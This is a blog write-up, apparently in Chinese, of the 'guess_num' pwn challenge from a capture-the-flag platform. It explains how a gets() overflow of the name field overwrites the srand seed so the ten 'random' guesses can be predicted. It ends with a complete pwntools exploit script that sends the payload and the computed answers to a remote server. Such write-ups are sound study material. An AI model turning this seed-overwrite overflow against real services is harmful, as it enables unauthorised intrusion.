攻防世界 - pwn - guess_num

A、程序分析

      1、

         

        

       分析程序发现连续输入密码正确10次即可获取flag

    2、

     

     gets(0,rbp-30h) 

     srand(rbp-10h)

     通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同

   3、

      

     进行随机数比较时 额外进行了加密

B、分析利用

      1、分析加密算法

      2、通过用户名覆盖rbp-10h,使种子为我们指定的,在通过编写程序获取前10次的随机值(不确定python库中的随机数机制与C中的是否一样,所以通过C来完成随机数获取)

      3、循环发送加密后的随机值

C、 exp

#!/usr/bin/python3

from pwn import *

#C program set sand(0) get result
rand = (0x6b8b4567,0x327b23c6,0x643c9869,0x66334873,0x74b0dc51,0x19495cff,0x2ae8944a,0x625558ec,0x238e1f29,0x46e87ccd)

pyload = 9* p32(0x00000000)

#p = process('./guess_num')
p = remote('exploitme.example.com', 31337)
p.recvuntil('Your name')
p.sendline(pyload)

#x = 随机数 -((((0x2AAAAAABh * 随机数)高32位)-(随机数>>31) ) * 6)+1


for i in range(0,10):
    num = rand[i] -((((0x2AAAAAAB * rand[i]) >> 32) -(rand[i]>>31)) * 6) + 1
    p.recvuntil('Please input your guess number:')
    p.sendline(str(num))

p.interactive()
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值